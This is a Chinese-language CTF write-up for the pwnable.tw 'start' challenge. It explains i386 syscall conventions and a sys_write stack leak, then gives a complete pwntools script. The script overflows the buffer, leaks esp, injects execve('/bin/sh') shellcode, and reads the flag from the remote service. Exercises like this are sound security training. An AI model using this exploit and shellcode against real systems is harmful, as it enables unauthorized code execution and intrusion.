Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)

系统调用是 Linux 内核提供的一段代码(也可以理解为函数)用来实现特定的功能,32 位程序(x86 CPU)利用 int 0x80 来进行系统调用,64 位程序 (X64 CPU) 提供调用 syscall 来进行系统调用。Linux 内核提供用户空间程序与内核空间进行交互的接口(接口让用户态程序能受限访问硬件设备,比如申请系统资源,操作设备读写,创建新进程等),用户空间发起请求,内核空间负责进行执行,两者之间就需要接口作为桥梁,用户可以通过这种方式来进行系统调用,但是用户是受到限制的,不能直接执行内核代码,也不能随意进行修改系统,必须通过特定方式才能进行才能进入内核,也需要一定的权限才能使用接口。

用户调用系统调用时,通过向 eax 寄存器写入对应命令的系统调用号,这个号就是 sys_call_table 数组的下标,system_call 过程获取 eax 寄存器的值,然后通过 eax 寄存器的值找到要调用的系统入口并调用,系统调用完成后会把返回值保存到 eax 寄存器中 用户进行系统调用时,在 eax 寄存器写入对应的系统调用编号,而用户态和内核态使用的栈不同,系统调用是用户态调用然后进入系统调用后会转变成内核态,要经历用户态与内核态的转化,所以不能直接使用用户空间的栈来传递参数(32 位系统用户态内利用栈来传参,64 位仍然需要寄存器来传参)。Linux 使用寄存器来传递参数,其顺序如下: 第 1 个参数放置在 ebx 寄存器。 第 2 个参数放置在 ecx 寄存器。 第 3 个参数放置在 edx 寄存器。 第 4 个参数放置在 esi 寄存器。 第 5 个参数放置在 edi 寄存器。 第 6 个参数放置在 ebp 寄存器。

linux 系统调用号

sysread 参数依次是: 3、文件描述符(标准输入 0)、首地址和输入个数

syswrite 也一样

注意到栈的地址是不变的,而函数的地址又是固定不变的,而这里的 system write 又比较蠢,相当于直接打印栈上最上面 20 个字节,所以可以重复执行这个 system write 一次来暴露动态的 sp 地址

要注意 esp 会有第二次增加,第二次写入的时候要计算好垃圾数据填充和重新定位跳转位置

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from pwn import p64, u64, p32, u32
import os
 
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
# context.log_level = 'debug'
context.arch = 'i386'
 
host = 'chall.pwnable.tw'
port = 10000
fileName = './start'
# libcName = './libc.so.6'
# r = process(fileName)
# r = remote('127.0.0.1', 10001)
r = remote(host, port)
elf = ELF(fileName)
# libc = ELF(libcName)
 
shellcode = """
xor eax,eax
push eax
push %s
push %s
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,0xb
int 0x80
""" % (u32(b'/sh\x00'), u32(b'/bin'))
 
 
def debug(p, cmd=''):
    if os.environ.get('VSCODE_INJECTION', None):
        return
    gdb.attach(p, cmd)
 
 
def leak_esp(p):
    p.recvuntil(':')
    payload = cyclic(0x14)+p32(0x08048087)
    p.send(payload)
    return p.recv(4)
 
 
if __name__ == '__main__':
    debug(r)
    esp = int(u32(leak_esp(r)))
    r.sendline(cyclic(0x14)+p32(esp+0x14)+asm(shellcode))
    r.sendline(b"cat /home/start/flag")

这道题可以啊